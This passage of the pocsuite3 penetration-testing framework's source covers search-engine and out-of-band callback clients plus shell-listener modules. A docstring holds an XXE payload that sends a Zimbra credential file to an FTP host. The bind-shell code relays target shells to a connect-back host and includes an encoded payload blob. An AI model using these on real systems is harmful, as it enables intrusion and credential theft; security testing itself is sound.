    except Exception as ex:\n            logger.error(str(ex))\n        return search_result\n\n\nif __name__ == '__main__':\n    c = Censys()\n    ret = c.search(\"thinkphp\", pages=2)\n    for i in ret:\n        print(i)\n"
  },
  {
    "path": "pocsuite3/modules/ceye/__init__.py",
    "content": "import getpass\nimport json\nimport os\nimport time\nimport re\nfrom configparser import ConfigParser\n\nfrom pocsuite3.api import conf\nfrom pocsuite3.lib.core.data import logger, paths\nfrom pocsuite3.lib.request import requests\nfrom pocsuite3.lib.utils import get_middle_text, random_str\n\n\nclass CEye(object):\n    def __init__(self, conf_path=paths.POCSUITE_RC_PATH, token=None):\n        self.url = 'http://api.ceye.io/v1'\n        self.identify = ''\n        self.headers = {'User-Agent': 'curl/7.80.0'}\n        self.token = token\n        if 'ceye_token' in conf:\n            self.token = self.token or conf.ceye_token\n        self.conf_path = conf_path\n\n        if self.conf_path:\n            self.parser = ConfigParser()\n            self.parser.read(self.conf_path)\n            try:\n                self.token = self.token or self.parser.get('CEye', 'token')\n            except Exception:\n                pass\n\n        self.check_token()\n\n    def token_is_available(self):\n        if self.token:\n            try:\n                self.headers['Authorization'] = self.token\n                resp = requests.get(f'{self.url}/identify', headers=self.headers)\n                if resp and resp.status_code == 200 and 'identify' in resp.text:\n                    self.identify = resp.json()['data']['identify']\n                    return True\n                else:\n                    logger.info(resp.text)\n            except Exception as ex:\n                logger.error(str(ex))\n        return False\n\n    def check_account(self):\n        return self.check_token()\n\n    def check_token(self):\n        if self.token_is_available():\n            return True\n\n        while True:\n            self.token = getpass.getpass('CEye API token: (input will hidden)')\n            if self.token_is_available():\n                self.write_conf()\n                return True\n            else:\n                logger.error('The CEye api token is incorrect, Please enter the correct api token.')\n\n    def write_conf(self):\n        if not self.parser.has_section('CEye'):\n            self.parser.add_section('CEye')\n        try:\n            self.parser.set('CEye', 'token', self.token)\n            self.parser.write(open(self.conf_path, \"w\"))\n        except Exception as ex:\n            logger.error(str(ex))\n\n    def verify_request(self, flag, type='request'):\n        \"\"\"\n        Check whether the ceye interface has data\n\n        :param flag: Input flag\n        :param type: Request type (dns|request), the default is request\n        :return: Boolean\n        \"\"\"\n        ret_val = False\n        counts = 3\n        url = f'{self.url}/records?token={self.token}&type={type}&filter={flag}'\n        while counts:\n            try:\n                time.sleep(1)\n                resp = requests.get(url)\n                if resp and resp.status_code == 200 and flag in resp.text:\n                    ret_val = True\n                    break\n            except Exception as ex:\n                logger.warn(ex)\n                time.sleep(1)\n            counts -= 1\n        return ret_val\n\n    def exact_request(self, flag, type=\"request\"):\n        \"\"\"\n        Obtain relevant data by accessing the ceye interface\n\n        :param flag: Input flag\n        :param type: Request type (dns|request), the default is request\n        :return: Return the acquired data\n        \"\"\"\n        counts = 3\n        url = f'{self.url}/records?token={self.token}&type={type}&filter={flag}'\n        while counts:\n            try:\n                time.sleep(1)\n                resp = requests.get(url)\n                if resp and resp.status_code == 200 and flag in resp.text:\n                    data = json.loads(resp.text)\n                    for item in data[\"data\"]:\n                        name = item.get(\"name\", '')\n                        pro = flag\n                        suffix = flag\n                        t = get_middle_text(name, pro, suffix, 0)\n                        if t:\n                            return t\n                    break\n            except Exception as ex:\n                logger.warn(ex)\n                time.sleep(1)\n            counts -= 1\n        return False\n\n    def build_request(self, value, type=\"request\"):\n        \"\"\"\n        Generate the sent string\n\n        :param value: Enter the message to be sent\n        :param type: Request type (dns|request), the default is request\n        :return: dict { url: Return the received domain name,flag: Return a random flag }\n        Example:\n          {\n            'url': 'http://htCb.jwm77k.ceye.io/htCbpingaaahtCb',\n            'flag': 'htCb'\n          }\n\n        \"\"\"\n        ranstr = random_str(4)\n        domain = self.getsubdomain()\n        url = \"\"\n        if type in [\"request\", 'http']:\n            url = \"http://{}.{}/{}{}{}\".format(ranstr, domain, ranstr, value, ranstr)\n        elif type == \"dns\":\n            url = \"{}{}{}.{}\".format(ranstr, re.sub(r\"\\W\", \"\", value), ranstr, domain)\n        return {\"url\": url, \"flag\": ranstr}\n\n    def getsubdomain(self):\n        \"\"\"\n        :return: Return the obtained domain name\n        \"\"\"\n        return f'{self.identify}.ceye.io'\n\n\nif __name__ == \"__main__\":\n    ce = CEye()\n    # http record\n    # Auxiliary generation of flag string\n    flag = ce.build_request(\"HelloWorld3\")\n    print(flag)\n    # Simulate requests with requests\n    try:\n        r = requests.get(flag[\"url\"])\n    except Exception:\n        pass\n    time.sleep(1)\n    print(\"request over\")\n    # Get the requested data\n    info = ce.exact_request(flag[\"flag\"], )\n    print(info)\n\n    # dns record\n    # Auxiliary generation of flag string\n    flag = ce.build_request(\"HelloWor1d\", type='dns')\n    print(flag)\n    # Simulate request with requests\n    # r = requests.get(flag[\"url\"])\n    os.system(\"ping -nc 2 \" + flag[\"url\"])\n    time.sleep(1)\n    print(\"ping over\")\n    # Get the requested data\n    info = ce.exact_request(flag[\"flag\"], type=\"dns\")\n    print(info)\n"
  },
  {
    "path": "pocsuite3/modules/fofa/__init__.py",
    "content": "import getpass\nimport time\nfrom base64 import b64encode\nfrom configparser import ConfigParser\nfrom pocsuite3.lib.core.data import logger, paths\nfrom pocsuite3.lib.core.common import is_ipv6_address_format\nfrom pocsuite3.lib.request import requests\n\n\nclass Fofa():\n    def __init__(self, conf_path=paths.POCSUITE_RC_PATH, user=None, token=None):\n        self.headers = {'User-Agent': 'curl/7.80.0'}\n        self.credits = 0\n        self.conf_path = conf_path\n        self.user = user\n        self.token = token\n        self.api_url = 'https://fofa.info/api/v1'\n\n        if self.conf_path:\n            self.parser = ConfigParser()\n            self.parser.read(self.conf_path)\n            try:\n                self.user = self.user or self.parser.get(\"Fofa\", 'user')\n                self.token = self.token or self.parser.get(\"Fofa\", 'token')\n            except Exception:\n                pass\n\n        self.check_token()\n\n    def token_is_available(self):\n        if self.token and self.user:\n            try:\n                resp = requests.get(\n                    f'{self.api_url}/info/my?email={self.user}&key={self.token}',\n                    headers=self.headers)\n                logger.info(resp.text)\n                if resp and resp.status_code == 200 and \"username\" in resp.json():\n                    return True\n            except Exception as ex:\n                logger.error(str(ex))\n        return False\n\n    def check_token(self):\n        if self.token_is_available():\n            return True\n\n        while True:\n            user = input(\"Fofa user email: \")\n            new_token = getpass.getpass(\"Fofa api key: (input will hidden) \")\n            self.token = new_token\n            self.user = user\n            if self.token_is_available():\n                self.write_conf()\n                return True\n            else:\n                logger.error(\"The Fofa user email or api key are incorrect, Please enter the correct one.\")\n\n    def write_conf(self):\n        if not self.parser.has_section(\"Fofa\"):\n            self.parser.add_section(\"Fofa\")\n        try:\n            self.parser.set(\"Fofa\", \"Token\", self.token)\n            self.parser.set(\"Fofa\", \"User\", self.user)\n            self.parser.write(open(self.conf_path, \"w\"))\n        except Exception as ex:\n            logger.error(str(ex))\n\n    def search(self, dork, pages=1, resource='host'):\n        if resource == 'host':\n            resource = 'protocol,ip,port'\n        else:\n            resource = 'protocol,host'\n\n        dork = b64encode(dork.encode()).decode()\n        search_result = set()\n\n        try:\n            for page in range(1, pages + 1):\n                time.sleep(1)\n                url = (\n                    f\"{self.api_url}/search/all?email={self.user}&key={self.token}&qbase64={dork}&\"\n                    f\"fields={resource}&page={page}\"\n                )\n                resp = requests.get(url, headers=self.headers, timeout=60)\n                if resp and resp.status_code == 200 and \"results\" in resp.json():\n                    content = resp.json()\n                    for match in content['results']:\n                        if resource == \"protocol,ip,port\":\n                            ip = match[1]\n                            if is_ipv6_address_format(ip):\n                                ip = f'[{ip}]'\n                            search_result.add(\"%s://%s:%s\" % (match[0], ip, match[2]))\n                        else:\n                            if '://' not in match[1]:\n                                search_result.add(\"%s://%s\" % (match[0], match[1]))\n                            else:\n                                search_result.add(match[1])\n                else:\n                    logger.error(\"[PLUGIN] Fofa:{}\".format(resp.text))\n        except Exception as ex:\n            logger.error(str(ex))\n        return search_result\n\n\nif __name__ == \"__main__\":\n    fa = Fofa()\n    z = fa.search('body=\"thinkphp\"', pages=2)\n    print(z)\n    z = fa.search('body=\"thinkphp\"', resource='web')\n    print(z)\n"
  },
  {
    "path": "pocsuite3/modules/httpserver/__init__.py",
    "content": "#!usr/bin/env python\n# -*- coding:utf-8 -*-\n\"\"\"\n@author: longofo\n@file: __init__.py\n@time: 2019/03/23\n\"\"\"\nimport os\nimport random\nimport socket\nimport ssl\nimport threading\nimport time\nfrom http.server import SimpleHTTPRequestHandler, HTTPServer\nfrom pocsuite3.lib.utils import gen_cert\nfrom pocsuite3.lib.core.common import check_port\nfrom pocsuite3.lib.core.common import get_host_ip, get_host_ipv6\nfrom pocsuite3.lib.core.data import logger, paths\nfrom pocsuite3.lib.core.exception import PocsuiteSystemException\n\n\nclass PHTTPSingleton(type):\n    '''\n    HTTP server only allow one instance in pocsuite3\n    '''\n    _instance = None\n\n    def __call__(cls, *args, **kwargs):\n        if cls._instance is None:\n            cls._instance = super(PHTTPSingleton, cls).__call__(*args, **kwargs)\n        return cls._instance\n\n\nclass BaseRequestHandler(SimpleHTTPRequestHandler):\n    def do_GET(self):\n        \"\"\"\n        默认直接将当前目录结构映射到HTTP请求,即调用SimpleHTTPRequestHandler的do_GET方法\n\n        可自定义响应信息,像下面这样:\n        ```\n        path = self.path\n        status = 404\n        count = 0\n\n        xxe_dtd = '''<!ENTITY % d SYSTEM \"file:///opt/zimbra/conf/localconfig.xml\"><!ENTITY % c \"<!ENTITY rrr SYSTEM 'ftp://{}:2121/%d;'>\">'''.format(\n            get_host_ip())\n        if path == \"/xxe_dtd\":\n            count = len(xxe_dtd)\n            status = 200\n            self.send_response(status)\n            self.send_header('Content-Type', 'text/html')\n            self.send_header('Content-Length', '{}'.format(count))\n            self.end_headers()\n            self.wfile.write(xxe_dtd.encode())\n            return\n        self.send_response(status)\n        self.send_header('Content-Type', 'text/html')\n        self.send_header(\"Content-Length\", \"{}\".format(count))\n        self.end_headers()\n        ```\n        \"\"\"\n        SimpleHTTPRequestHandler.do_GET(self)\n\n    def do_HEAD(self):\n        '''\n        默认调用SimpleHTTPRequestHandler的do_HEAD方法\n\n        可自定义响应信息,像下面这样:\n        ```\n        status = 404\n\n        if self.path.endswith('jar'):\n            status = 200\n        self.send_response(status)\n        self.send_header(\"Content-type\", \"text/html\")\n        self.send_header(\"Content-Length\", \"0\")\n        self.end_headers()\n        ```\n        '''\n        SimpleHTTPRequestHandler.do_HEAD(self)\n\n\nclass HTTPServerV6(HTTPServer):\n    address_family = socket.AF_INET6\n\n\nclass HTTPServerV4(HTTPServer):\n    address_family = socket.AF_INET\n\n\nclass PHTTPServer(threading.Thread, metaclass=PHTTPSingleton):\n    def __init__(self, bind_ip='0.0.0.0', bind_port=6666, is_ipv6=False, use_https=False,\n                 certfile=os.path.join(paths.POCSUITE_TMP_PATH, 'cacert.pem'),\n                 requestHandler=BaseRequestHandler):\n        threading.Thread.__init__(self)\n        self.bind_ip = bind_ip\n        self.bind_port = int(bind_port)\n        self.is_ipv6 = is_ipv6\n        self.https = use_https\n        if self.https:\n            self.scheme = 'https'\n            gen_cert(filepath=certfile)\n        else:\n            self.scheme = 'http'\n\n        self.certfile = certfile\n        self.server_locked = False  # Avoid call start method muti-times\n        self.server_started = False  # Aviod start server mutl-times\n        self.requestHandler = requestHandler\n        if ':' in bind_ip:\n            ipv6 = get_host_ipv6()\n            if not ipv6:\n                logger.error('Your machine may not support ipv6')\n                raise PocsuiteSystemException\n            self.host_ip = ipv6\n            self.httpserver = HTTPServerV6\n            self.is_ipv6 = True\n        else:\n            self.is_ipv6 = False\n            self.host_ip = get_host_ip()\n            self.httpserver = HTTPServerV4\n\n        self.url = f'{self.scheme}://{self.bind_ip}:{self.bind_port}'\n        if self.is_ipv6:\n            self.url = f'{self.scheme}://[{self.bind_ip}]:{self.bind_port}'\n\n        self.__flag = threading.Event()  # The identifier used to pause the thread\n        self.__flag.set()  # set flag True\n        self.__running = threading.Event()  # The identifier used to stop the thread\n        self.__running.set()  # set running True\n\n    def start(self, daemon=True):\n        # Http server can only allow start once in pocsuite3, avoid muti-threading start muti-times\n        if self.server_locked:\n            logger.info(f'Httpd serve has been started on {self.url}')\n            return\n\n        '''\n        fix httpserver module hangs on macos platform\n        https://github.com/knownsec/pocsuite3/issues/325\n        '''\n        self.check_ip = self.host_ip\n        if self.bind_ip == '0.0.0.0':\n            self.check_ip = '127.0.0.1'\n        elif self.bind_ip == '::':\n            self.check_ip = '::1'\n\n        if check_port(self.check_ip, self.bind_port):\n            logger.error('Port {} has been occupied, start Httpd serve failed!'.format(self.bind_port))\n            return\n\n        self.server_locked = True\n        self.setDaemon(daemon)\n        threading.Thread.start(self)\n        # Detect http server is started or not\n        logger.info('Detect {} server is runing or not...'.format(self.scheme))\n        detect_count = 10\n        while detect_count:\n            try:\n                if check_port(self.check_ip, self.bind_port):\n                    break\n            except Exception as ex:\n                logger.error(str(ex))\n            time.sleep(random.random())\n            detect_count -= 1\n\n    def run(self):\n        try:\n            while self.__running.is_set():\n                time.sleep(1)\n                self.__flag.wait()\n                if not self.server_started:\n                    self.httpd = self.httpserver((self.bind_ip, self.bind_port), self.requestHandler)\n                    logger.info(f\"Starting httpd on {self.url}\")\n                    if self.https:\n                        if self.certfile:\n                            self.httpd.socket = ssl.wrap_socket(self.httpd.socket, certfile=self.certfile,\n                                                                server_side=True)\n                        else:\n                            logger.error(\"You must provide certfile to use https\")\n                            break\n                    thread = threading.Thread(target=self.httpd.serve_forever)\n                    thread.setDaemon(True)\n                    thread.start()\n                    self.server_started = True\n                    self.__flag.clear()\n            self.httpd.shutdown()\n            self.httpd.server_close()\n            logger.info(f'Stop httpd server on {self.url}')\n        except Exception as ex:\n            self.httpd.shutdown()\n            self.httpd.server_close()\n            logger.error(str(ex))\n\n    def pause(self):\n        self.__flag.clear()  # Set to False, let the thread block\n\n    def resume(self):\n        self.__flag.set()  # Set to True to stop the thread from blocking\n\n    def stop(self):\n        self.__flag.set()  # Restore the thread from the paused state, if it has been paused\n        self.__running.clear()  # Set to False, stop threading\n\n        time.sleep(random.randint(1, 3))\n"
  },
  {
    "path": "pocsuite3/modules/hunter/__init__.py",
    "content": "import getpass\nimport time\nimport base64\nfrom configparser import ConfigParser\nfrom pocsuite3.lib.core.data import logger, paths\nfrom pocsuite3.lib.request import requests\n\n\nclass Hunter():\n    def __init__(self, conf_path=paths.POCSUITE_RC_PATH, token=None):\n        self.url = 'https://hunter.qianxin.com/openApi/search'\n        self.headers = {'User-Agent': 'curl/7.80.0'}\n        self.credits = 0\n        self.conf_path = conf_path\n        self.token = token\n\n        if self.conf_path:\n            self.parser = ConfigParser()\n            self.parser.read(self.conf_path)\n            try:\n                self.token = self.token or self.parser.get(\"Hunter\", 'token')\n            except Exception:\n                pass\n\n        self.check_token()\n\n    def token_is_available(self):\n        if self.token:\n            try:\n                resp = requests.get(\n                    f'{self.url}?api-key={self.token}&search=aXA9IjI1NS4yNTUuMjU1LjI1NSI=&page=1&page_size=1',\n                    headers=self.headers)\n\n                if 'rest_quota' not in resp.text:\n                    logger.info(resp.text)\n                    return False\n\n                self.credits = resp.json()['data']['rest_quota']\n                return True\n            except Exception as ex:\n                logger.error(str(ex))\n        return False\n\n    def check_token(self):\n        if self.token_is_available():\n            return True\n        while True:\n            new_token = getpass.getpass(\"Hunter API token: (input will hidden)\")\n            self.token = new_token\n            if self.token_is_available():\n                self.write_conf()\n                return True\n            else:\n                logger.error(\"The Hunter api token is incorrect. \"\n                             \"Please enter the correct one.\")\n\n    def write_conf(self):\n        if not self.parser.has_section(\"Hunter\"):\n            self.parser.add_section(\"Hunter\")\n        try:\n            self.parser.set(\"Hunter\", \"Token\", self.token)\n            self.parser.write(open(self.conf_path, \"w\"))\n        except Exception as ex:\n            logger.error(str(ex))\n\n    def search(self, dork, pages=2):\n        search_result = set()\n        search = base64.urlsafe_b64encode(dork.encode(\"utf-8\")).decode()\n        try:\n            for page in range(1, pages + 1):\n                time.sleep(1)\n                resp = requests.get(\n                    f'{self.url}?api-key={self.token}&search={search}&page={page}&page_size=20&is_web=3',\n                    headers=self.headers, timeout=60)\n                if resp and resp.status_code == 200 and resp.json()['code'] == 200:\n                    content = resp.json()\n                    for i in content['data']['arr']:\n                        search_result.add(i['url'])\n                else:\n                    logger.error(\"[PLUGIN] Hunter: {}\".format(resp.text))\n        except Exception as ex:\n            logger.error(str(ex))\n        return search_result\n\n\nif __name__ == \"__main__\":\n    ht = Hunter(token=\"\")\n    z = ht.search('web.title=\"Vigor 2960\"')\n    print(z)\n"
  },
  {
    "path": "pocsuite3/modules/interactsh/__init__.py",
    "content": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport base64\nimport json\nimport random\nimport time\nfrom base64 import b64encode\nfrom uuid import uuid4\n\nfrom Cryptodome.Cipher import AES, PKCS1_OAEP\nfrom Cryptodome.Hash import SHA256\nfrom Cryptodome.PublicKey import RSA\n\nfrom pocsuite3.lib.core.data import conf, logger\nfrom pocsuite3.lib.request import requests\nfrom pocsuite3.lib.utils import random_str\n\n\nclass Interactsh:\n    def __init__(self, server='', token=''):\n        rsa = RSA.generate(2048)\n        self.public_key = rsa.publickey().exportKey()\n        self.private_key = rsa.exportKey()\n\n        self.server = server.lstrip('.')\n        if 'oob_server' in conf:\n            self.server = self.server or conf.oob_server\n        self.server = self.server or 'oast.me'\n\n        self.token = token\n        if 'oob_token' in conf:\n            self.token = self.token or conf.oob_token\n\n        self.headers = {\n            \"Content-Type\": \"application/json\",\n        }\n        if self.token:\n            self.headers['Authorization'] = self.token\n        self.secret = str(uuid4())\n        self.encoded = b64encode(self.public_key).decode(\"utf8\")\n        guid = uuid4().hex.ljust(33, 'a')\n        guid = ''.join(i if i.isdigit() else chr(ord(i) + random.randint(0, 20)) for i in guid)\n        self.domain = f'{guid}.{self.server}'\n        self.correlation_id = self.domain[:20]\n\n        self.session = requests.session()\n        self.session.headers = self.headers\n        self.register()\n\n    def register(self):\n        data = {\n            \"public-key\": self.encoded,\n            \"secret-key\": self.secret,\n            \"correlation-id\": self.correlation_id\n        }\n        msg = f\"[PLUGIN] Interactsh: Can not initiate {self.server} DNS callback client\"\n        try:\n            res = self.session.post(\n                f\"http://{self.server}/register\", headers=self.headers, json=data, verify=False)\n            if res.status_code == 401:\n                logger.error(\"[PLUGIN] Interactsh: auth error\")\n            elif 'success' not in res.text:\n                logger.error(msg)\n        except requests.RequestException:\n            logger.error(msg)\n\n    def poll(self):\n        count = 3\n        result = []\n        while count:\n\n            try:\n                url = f\"http://{self.server}/poll?id={self.correlation_id}&secret={self.secret}\"\n                res = self.session.get(url, headers=self.headers, verify=False).json()\n                aes_key, data_list = res['aes_key'], res['data']\n                for i in data_list:\n                    decrypt_data = self.decrypt_data(aes_key, i)\n                    result.append(decrypt_data)\n                return result\n            except Exception:\n                count -= 1\n                time.sleep(1)\n                continue\n        return []\n\n    def decrypt_data(self, aes_key, data):\n        private_key = RSA.importKey(self.private_key)\n        cipher = PKCS1_OAEP.new(private_key, hashAlgo=SHA256)\n        aes_plain_key = cipher.decrypt(base64.b64decode(aes_key))\n        decode = base64.b64decode(data)\n        bs = AES.block_size\n        iv = decode[:bs]\n        cryptor = AES.new(key=aes_plain_key, mode=AES.MODE_CFB, IV=iv, segment_size=128)\n        plain_text = cryptor.decrypt(decode)\n        return json.loads(plain_text[16:])\n\n    def build_request(self, length=10, method='http'):\n        \"\"\"\n        Generate the url and flag for verification\n\n        :param length: The flag length\n        :param method: Request type (dns|https|http), the default is https\n        :return: dict { url: Return the request url, flag: Return a random flag }\n        Example:\n          {\n            'url': 'http://hqlbbwmo8u.7735s13s04hp4eu19s4q8n963n73jw6hr.interactsh.com',\n            'flag': 'hqlbbwmo8u'\n          }\n\n        \"\"\"\n        flag = random_str(length).lower()\n        url = f'{flag}.{self.domain}'\n        if method.startswith('http'):\n            url = f'{method}://{url}'\n        return url, flag\n\n    def verify(self, flag, get_result=False):\n        \"\"\"\n        Check the flag\n\n        :param flag: The flag to verify\n        :param get_result: Whether to return detailed results\n        :return: Boolean\n        \"\"\"\n        result = self.poll()\n        for item in result:\n            if flag.lower() in item['full-id'].lower():\n                return (True, result) if get_result else True\n        return (False, result) if get_result else False\n\n\nif __name__ == \"__main__\":\n    ISH = Interactsh(token=\"\", server=\"\")\n    url, flag = ISH.build_request()\n    requests.get(url, timeout=5, verify=False)\n    print(ISH.verify(flag, get_result=True))\n"
  },
  {
    "path": "pocsuite3/modules/listener/__init__.py",
    "content": "from .reverse_tcp import handle_listener_connection\nfrom .reverse_tcp import start_listener\nfrom .reverse_tcp import REVERSE_PAYLOAD\nfrom .bind_tcp import (bind_shell, bind_tcp_shell, bind_telnet_shell)\nfrom .bind_tcp import BIND_PAYLOAD\n\n__all__ = ('handle_listener_connection', 'start_listener', 'REVERSE_PAYLOAD',\n           'bind_shell', 'bind_tcp_shell', 'bind_telnet_shell', 'BIND_PAYLOAD')\n"
  },
  {
    "path": "pocsuite3/modules/listener/bind_tcp.py",
    "content": "import os\nimport socket\nimport zlib\nimport pickle\nimport base64\nimport select\nimport threading\nfrom pocsuite3.lib.core.poc import POCBase\nfrom pocsuite3.lib.utils import random_str\nfrom pocsuite3.lib.core.common import check_port\nfrom pocsuite3.lib.core.data import conf, logger\n\n\ndef read_inputs(s):\n    buffer = []\n    try:\n        while True:\n            chunk = s.recv(1)\n            if not chunk or chunk == b'\\n':\n                break\n            buffer.append(chunk)\n    except Exception:\n        pass\n    return b''.join(buffer)\n\n\ndef read_until(conn, inputs):\n    try:\n        while True:\n            msg = conn.recv(1024).decode('utf-8', errors='ignore')\n            if inputs in msg.lower():\n                break\n    except Exception:\n        pass\n\n\ndef read_results(conn, inputs):\n    if callable(conn):\n        results = conn(inputs.decode())\n        if not isinstance(results, bytes):\n            results = results.encode()\n        if results.strip() == b'':\n            results = b'COMMAND NO OUTPUT\\n'\n        return results\n    elif isinstance(conn, socket.socket):\n        flag = random_str(6).encode()\n        inputs = inputs.strip() + b';' + flag + b'\\n'\n        conn.send(inputs)\n        count = 10\n        results = b''\n        while count:\n            count -= 1\n            ready = select.select([conn], [], [], 0.2)\n            if ready[0]:\n                chunk = conn.recv(1024)\n                results += chunk\n            if results.count(flag) >= 2:\n                break\n        results = results.split(inputs.strip())[-1]\n        results = os.linesep.encode().join(\n            results.split(flag)[0].splitlines()[0:-1])\n        return results.strip() + b'\\n'\n    return b'\\n'\n\n\ndef flow_redirect(conn):\n    s = socket.socket()\n    s.connect((conf.connect_back_host, conf.connect_back_port))\n    while True:\n        inputs = read_inputs(s)\n        results = read_results(conn, inputs)\n        s.send(results)\n\n\ndef start_listener(conn):\n    t = threading.Thread(target=flow_redirect,\n                         name=\"bind-listener-thread\",\n                         args=[conn])\n    t.setDaemon(True)\n    t.start()\n\n\ndef bind_shell(obj, rce_func='_rce', check=True):\n    if not (isinstance(obj, POCBase) and hasattr(obj, rce_func)\n            and callable(getattr(obj, rce_func))):\n        return False\n    conn = getattr(obj, rce_func)\n    if check:\n        flag = random_str(6).encode()\n        if flag not in read_results(conn, b'echo %s' % flag):\n            return False\n    start_listener(conn)\n\n\ndef bind_tcp_shell(host, port, check=True):\n    if not check_port(host, port):\n        return False\n    try:\n        s = socket.socket()\n        s.connect((host, port))\n        if check:\n            flag = random_str(6).encode()\n            if flag not in read_results(s, b'echo %s' % flag):\n                return False\n        start_listener(s)\n    except Exception as e:\n        logger.error(str(e))\n\n\ndef bind_telnet_shell(host, port, user, pwd, check=True):\n    # see https://peps.python.org/pep-0594/#telnetlib\n    if not check_port(host, port):\n        return False\n    try:\n        tn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        tn.connect((host, port))\n        read_until(tn, 'login: ')\n        tn.sendall((user + \"\\n\").encode('utf-8'))\n        read_until(tn, 'password: ')\n        tn.sendall((pwd + \"\\n\").encode('utf-8'))\n        if check:\n            flag = random_str(6).encode()\n            if flag not in read_results(tn, b'echo %s' % flag):\n                return False\n        start_listener(tn)\n    except Exception as e:\n        logger.error(str(e))\n\n\nclass BIND_PAYLOAD:\n    payload = (\n        b'eJy1GE1v28g1200/4EOBntrexqxjky1NyW52E4eWW0WWd7VrS4KkNAmygUFRI4sx'\n        b'NWQ5QzuOLKCXXgpdCqj/oP+wQM99b2YoUzLtJC3KIDLnfX/Ne8P5y8N//PxXD+Qz'\n        b'nZuzh83WYX0++yeLBpRsU7LFRxV/FISD0ziJfMq5w2PvkplGqR+wEh8ZlsuocPyE'\n        b'eoJ2aXJBE3OYMl8EETP9MKBMWJOJenHiIKYmHzlcDAJmueotSjVCU2swTZJl8HRq'\n        b'OWHABQXlk/LUsLbmsx81a/PZL5lPtkOyHRMAo83atPnsx91Wrdqbz5o88j1BerX2'\n        b'9nGj26s3nwGlndCUU28wSOxhlJyT+qt67ZlmtWNxZSsjbE4FDwY2D84CJmzuMTqf'\n        b'ffldtz1/9bNfPHiw/+iPJPbOqPypMz8Cz84qRiqG208N8uhgbUEQjOMoERXjnXfh'\n        b'OUHk/DZD38aGHjtzEjoMqS+cWsS4SFJfRMkncpxQMYoG92jHjHUj/5yKe4hSEYRO'\n        b'1/cYo5ni9TUCT5z2w8AnXHgC/nRFAh6ThELmOYWVqSFgtEUmkgOfhIo0YYTRS83y'\n        b'PIWqgmpBOkezm5YjIoU2LVfyTtdA9dr+t72TYzBBBCKkB9+lXJCjKCFHKdsvKdja'\n        b'/vPW4Wv4c9TqnJCTeu/b1mHFaLe6PYM0qyf1igFZHhukWus1Ws2K8RvjQMrfbzTb'\n        b'L3qk97oNJIK+Fxm5Px4PPkYzhl1ikAsvTGnF8MS5QUbBYEBZARtP++MAGP9UPX4B'\n        b'y6PwCoTvl9BaDK1k8EOPcwwP9caQdkYx6QT0UTbgpDcC+CAX0gaLU6GoCb9wF/BW'\n        b'Km4QInbXFpgV0eayBHuVM58/fMQogP1/QSpL6hYYEQMG9WXQ6Y1mXTQXUTAgScrM'\n        b'VdHP0+GQJnTQARdpQj54IIqlYegWUr1MAgFUo3dJIZlIrlbE46NkQv0t6zIRlAuE'\n        b'hmpfLcu9JUirzUlS9khJ+RBqsA5OkSh/5CWkL6W8eauFIuzN05293be36aEFkZCy'\n        b'MzG6jbuENk2JaSo8CPvgOVgxppJvk7KtVTmKxLLIASmvZiLnpXOJDuT5NeNt5RnH'\n        b'MEz5yCwgmC5BpgQasj8iZv29T2McFoSuGjL9hJwGQ2JCXtdVFViFZkEY/DDC5lIQ'\n        b'T+DHdN4rAP0qlPB5XkzXbn51j4xwxxjfRII0I0YNN48bQja7NPYSD5tARYMd2Wxa'\n        b'QzMbI0dA5vCMrga1o418HkUh9RgJ+MuAKRB6uyTWoX9OvZCbxg8/GFbecsmEuzlJ'\n        b'qe7DhIacFpAMQUBGk7cfeyOgE1BBuXDOqGiD0jHFHaEap3VjlSTWSSCbm5J5YRw2'\n        b'1iXrtAZ/PLhTgezeVq711WRvhQ774QMwyZUDE6EJDGZueBkUujRLO84Z80IHYvzO'\n        b'yO/b3DAmAwrSYPPnYRWlAY05vI3O108BN6RRVH08ZAX9kJoY+xxDq/8OmjaJQEcR'\n        b'L3SOBqw85i+VqToLED6KLouMU+ilAPj0PaTG1kF+89aRUyknMkNg/PkNGNMoa2J1'\n        b'ByCZbm0Z6+RmIZtm/0pQgO7t2WSnLH+g1zz+Gl924Ge3LN+mYFUx4+MnNvn6CeJB'\n        b'2TQ3gFaL9vPsQbF7T1H3V/CzgzY9wRdclR/fYw4Q7O0VmLOazIBdROe4SzA/jlqZ'\n        b'kU1MhbekrfkqbqtDONGHceA0NcjSwnJ5Umc3wv3MWwUws5M81EFu7pmW5cCB+JCG'\n        b'wViOLWgKVSOXd9msuO+MPN6EMwmM8D/gkqn3Z4C/oQX4UsecftpO5yNKw8K9Pooi'\n        b'OPPdtdslNm8rzsk4gsMssDSYoGcw9KDncQoLs1iGJF/a7LdHjjamO6Jh2PZWh/Cd'\n        b'O0CyZjxLpfdZ1b86fApq+9M0fayuVxStLS1zjXQHNNzTSgU996OuA6fX241USrq/'\n        b'me5kDWvnrnaKLkn14JMej7JZ2Zh/9brqTJGe+/uuDKn8WCJc/YFNpwBWsbh8K5aV'\n        b'aatazG/klUj+DyPpEyL5GWPpjhh9PET/3XjC5/8wovC5r1Xe1W6XZsJiH63WkKnJ'\n        b'lj6l7mqqtq4aROS/DaDdWg4EJBGr8SgUfyNkRXpO78fFf+zAmh1R8Wu/3anrz9hH'\n        b'Fez9CCtJ4H5Jf2qX1Fd54/DZ2nz2k/Zr+OZuzmf/iq8gY4xs+2RL3SjoENgRt+Ez'\n        b'WFvs8op2Sv3JXKwenTaa9Z6tl91W7fvTbq9Tr55YLnf6ARuYplF25D/DnpSnFsL1'\n        b'zdBXluvbXoU7no8Ogu8RdwZpvGv6Dp58WQQxKxdCdwqhu5YbV26MdnwvDM03i9sv'\n        b'29gOjLd4FfWwXe8cz2f/jmkSyoszmKW6b7gbcQXsdLWfXbutXcz5ZkP+QIeI+lcM'\n        b'978h/Bi3ufS3K4OBV1WnATM3Yps0mtXDw85ptfkaaLTvXZB3Un1VazWblgt9xES9'\n        b'Og41uwuRwYlMatZkEsVI3ztsNG3jYLMGkzODtF70VkH1TicDwb7z9dVf3+MjAs7j'\n        b'xZwL/n/Z/rY9f7X+xYMH8Sgm2wnZ2sgSfKpuB81qgdvd1vFpr9a2dHBOpb8b3F7O'\n        b'cIbVngIesrXhh5kC7eUG9AD5FWzugJPB0FzXePUdCwy2sUEMSKpF3weQl4BlEuSH'\n        b'MhLA8EXR40EllgEwgAjSnBiZ6PUhjYYmUligZGNcGULqfAVwb+nbGNvQA0M0emxh'\n        b'rKZTLJbOi+ev57O/JWn/CmKl5wpWDdqFBwm8koQdAqFRl6rYQPW9p7bDX1T5AgJG'\n        